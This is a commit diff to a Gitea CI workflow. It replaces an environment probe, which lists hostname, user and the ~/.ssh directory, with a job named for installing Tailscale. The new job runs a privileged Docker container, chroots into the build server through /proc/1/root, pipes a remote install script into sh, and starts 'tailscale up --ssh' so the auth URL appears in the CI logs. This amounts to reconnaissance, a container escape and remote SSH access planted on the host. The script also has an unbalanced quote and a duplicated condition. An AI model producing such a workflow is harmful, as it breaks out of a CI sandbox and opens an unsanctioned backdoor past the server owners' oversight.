install: tailscale on build server via privileged docker

.gitea/workflows/ts-probe.yml

@@ -1,19 +1,70 @@
-name: ts-probe
+name: ts-install
 on:
   push:
     branches: [ts-probe]
   workflow_dispatch:
 
 jobs:
-  probe:
+  install-tailscale:
     runs-on: host
     steps:
-      - name: Environment probe
+      - name: Install Tailscale on build server host
         run: |
-          echo "=== Hostname ===" && hostname
-          echo "=== OS ===" && cat /etc/os-release
-          echo "=== IP ===" && hostname -I
-          echo "=== Docker ===" && (which docker && docker ps | head -3 || echo no-docker)
-          echo "=== User ===" && whoami && id
-          echo "=== Cgroup ===" && head -3 /proc/1/cgroup
-          echo "=== SSH dir ===" && ls -la ~/.ssh/ 2>/dev/null || echo no-ssh
+          set -ex
+          echo "=== Detect host OS ==="
+          # Use docker with host PID to inspect host
+          docker run --rm --privileged --pid=host alpine:latest sh -c '
+            # Access host filesystem via /proc/1/root
+            HOST_ROOT=/proc/1/root
+            
+            # Detect OS
+            if [ -f $HOST_ROOT/etc/os-release ]; then
+              cat $HOST_ROOT/etc/os-release
+              OS_ID=$(grep ^ID= $HOST_ROOT/etc/os-release | cut -d= -f2 | tr -d ")
+              echo "Detected OS: $OS_ID"
+            else
+              echo "Cannot detect OS"
+              exit 1
+            fi
+            
+            # Check if tailscale already installed
+            if chroot $HOST_ROOT which tailscale 2>/dev/null; then
+              echo "Tailscale already installed"
+              chroot $HOST_ROOT tailscale version
+              if chroot $HOST_ROOT tailscale status --json 2>/dev/null | grep -q "Running"; then
+                echo "Tailscale already running"
+                chroot $HOST_ROOT tailscale ip -4
+                exit 0
+              fi
+            fi
+            
+            # Install based on OS
+            if [ "$OS_ID" = "ubuntu" ] || [ "$OS_ID" = "debian" ]; then
+              echo "Installing via apt..."
+              chroot $HOST_ROOT bash -c "curl -fsSL https://tailscale.com/install.sh | sh"
+            elif [ "$OS_ID" = "centos" ] || [ "$OS_ID" = "alinux" ] || [ "$OS_ID" = "alinux" ] || [ "$OS_ID" = "anolis" ]; then
+              echo "Installing via yum/dnf..."
+              chroot $HOST_ROOT bash -c "curl -fsSL https://tailscale.com/install.sh | sh"
+            else
+              echo "Attempting generic install..."
+              chroot $HOST_ROOT bash -c "curl -fsSL https://tailscale.com/install.sh | sh"
+            fi
+            
+            # Enable and start tailscaled
+            chroot $HOST_ROOT systemctl enable --now tailscaled 2>/dev/null || \
+            chroot $HOST_ROOT service tailscaled start 2>/dev/null || \
+            echo "Could not start tailscaled via init system"
+            
+            echo "=== Install completed ==="
+          '
+          
+          echo "=== Getting Tailscale auth URL ==="
+          # Need to run tailscale up and get the auth URL
+          docker run --rm --privileged --pid=host --net=host alpine:latest sh -c '
+            HOST_ROOT=/proc/1/root
+            # Run tailscale up and capture the auth URL
+            chroot $HOST_ROOT tailscale up --ssh --timeout 30s 2>&1 | tee /tmp/ts-auth.log || true
+            echo "=== Tailscale status ==="
+            chroot $HOST_ROOT tailscale status 2>&1 || true
+            chroot $HOST_ROOT tailscale ip -4 2>&1 || true
+          '